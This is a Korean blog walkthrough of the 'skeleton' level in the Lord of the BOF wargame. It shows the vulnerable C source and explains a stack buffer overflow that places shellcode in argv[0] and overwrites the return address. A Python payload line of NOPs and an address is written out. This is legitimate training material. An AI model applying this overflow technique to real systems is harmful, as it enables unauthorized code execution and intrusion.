echo "소스코드 확인!!"
[vampire@localhost vampire]$ cat skeleton.c
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
buffer를 초기화해주고 argv도 초기화하네요
그렇지만 argv[0]은 초기화되지 않습니다!
그렇다면 argv[0] 즉, 파일명을 쉘코드로 해주고 RET에 argv[0]의 주소를 넣으면 쉘이 실행되겠네요
https://qpalzm1029.tistory.com/47
[LOB] orge 문제 풀이!!!!
स्रोत कोड की जाँच करें!! [orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include #include extern char *..
qpalzm1029.tistory.com
위 문제와 풀이가 똑같습니다
argv[0]의 주소를 구해봅시다
gdb로 분석하기 위해 skeletoncp라는 파일을 복사해주겠습니다
이제 tmp에 가서 쉘코드를 곁들인 파일을 skeletoncp에 링크 걸어주겠습니다
이제 gdb로 분석해보겠습니다
argv[0]의 주소를 알기 위해 저렇게 페이로드를 작성해 실행해 보았습니다
`
스택을 1000개 정도 출력해보겠습니다
argv[0]과 argv[1]의 주소가 보이네요
RET에 덮어줄 주소를 0xbffffa60쯤으로 해봅시다
한 번 페이로드를 짜보죠
Payload = ./* `python -c 'print "\x90"*44 + "\x60\xfa\xff\xbf"'`
음.. core dumped가 일어났네요
한 번 core를 분석해보겠습니다
0xbfffff30으로 해보죠
쉘이 잘 실행되네요
이제 링크할 파일을 bof가 아닌 skeleton으로 해주겠습니다
무야홓~
'Pwnable > LOB' 카테고리의 다른 글
[LOB] golem 문제 풀이!!!!! (1) | 2022.05.28 |
---|---|
[LOB] skeleton 문제 풀이!!!!! (4) | 2022.05.26 |
[LOB] troll 문제 풀이! (0) | 2022.05.16 |
[LOB] orge 문제 풀이!!!! (2) | 2022.05.15 |
[LOB] darkelf 문제 풀이!!!!! (0) | 2022.05.13 |